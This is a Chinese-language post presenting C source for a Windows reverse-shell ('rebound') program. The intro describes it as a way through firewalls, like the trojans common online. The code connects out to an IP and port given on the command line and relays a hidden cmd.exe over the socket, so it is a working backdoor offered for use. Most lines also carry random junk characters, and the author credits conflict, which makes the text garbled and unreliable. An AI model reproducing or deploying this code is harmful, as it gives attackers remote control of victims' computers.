这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (]VY==t~
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/* ============================== [ \%a7ji#
Rebound port in Windows NT snNB;hkj
By wind,2006/7 ;TK$?hrv*1
===============================*/ *(XGNp[0
#include (dx~lMI
#include @k# xr
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#pragma comment(lib,"wsock32.lib") x8C
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void OutputShell(); .81 ~ K[
SOCKET sClient; ~]9EhC'l
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %h;1}SFl0
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void main(int argc,char **argv) b/\l\\$-
{ 3<[q>7X
WSADATA stWsaData; }AiF 7N0
int nRet; (/9 erfuJ
SOCKADDR_IN stSaiClient,stSaiServer; J/,m'wH
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if(argc != 3) I47sq z7
{ 5^CWF|
printf("Useage:\n\rRebound DestIP DestPort\n"); r gi4>
return; @ Jb-[W$*
} i=hA. y`
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WSAStartup(MAKEWORD(2,2),&stWsaData); zz<o4bR
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l1 _"9a%H
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stSaiClient.sin_family = AF_INET; RMid}BRE
stSaiClient.sin_port = htons(0); DK'S4%;Sp
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ytV[x
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 79k+R9m
{ ,w=u?
printf("Bind Socket Failed!\n"); 6\VZ6oS
return; A6E~GJa
} -D1A
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stSaiServer.sin_family = AF_INET; nU6UjC|3
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8%a
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); zyt >(A1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >7cDfv"
{ .ezZ+@LI+#
printf("Connect Error!"); _fHj8-
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return; ;E!] /oY<
} ER}5`*X{
OutputShell(); %WX^']p
} M6V^ur 1
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void OutputShell() dl`{:ZR S
{ 9A|9:OdG1
char szBuff[1024]; )t:8;;W@Ir
SECURITY_ATTRIBUTES stSecurityAttributes; MOi1+`kwh
OSVERSIONINFO stOsversionInfo; :2XX~|
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; r]aI=w<(f
STARTUPINFO stStartupInfo; WD*z..`
char *szShell; tbfwgK
PROCESS_INFORMATION stProcessInformation; 6uk}4bdvq
unsigned long lBytesRead; TQ%F\@"
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~~m(CJ4S
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~0}d=d5g
stSecurityAttributes.lpSecurityDescriptor = 0; ^7t1'A8e<
stSecurityAttributes.bInheritHandle = TRUE; 2p58_^l
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); m6A\R KJ'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6.[3N~pq
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); R+=wSG ]
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [dqh-7
stStartupInfo.wShowWindow = SW_HIDE; @Q&k6.{4Z
stStartupInfo.hStdInput = hReadPipe; J: I@kM
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &^Gp
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GetVersionEx(&stOsversionInfo); cJM.Q_I}Y
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switch(stOsversionInfo.dwPlatformId) @%fL*^yr;C
{ 6*
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case 1: lvLz){
szShell = "command.com"; p9S>H
break; T`]P5Bk8r
default: k[f_7lJ2
szShell = "cmd.exe"; oR3t vw.
break; ft4hzmuzM
} /bo`@ !-#
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); n?9FJOqi
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send(sClient,szMsg,77,0); 7*He 8G[W
while(1) =j{Kxnv
{ C\^,+)Y\~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }_7
if(lBytesRead) .S4%Q9l
{ GLMpWD`Wo
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Dz8aJ6g
send(sClient,szBuff,lBytesRead,0); tX,x% (
} fX>y^s?y
else bU/YU0ZIT
{ 'T;;-M3*
lBytesRead=recv(sClient,szBuff,1024,0); h
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if(lBytesRead<=0) break; Ry? f; s
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); iqN?'8
} ^ohIJcI-
} ksUF(lYk
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return; }d5~w[
}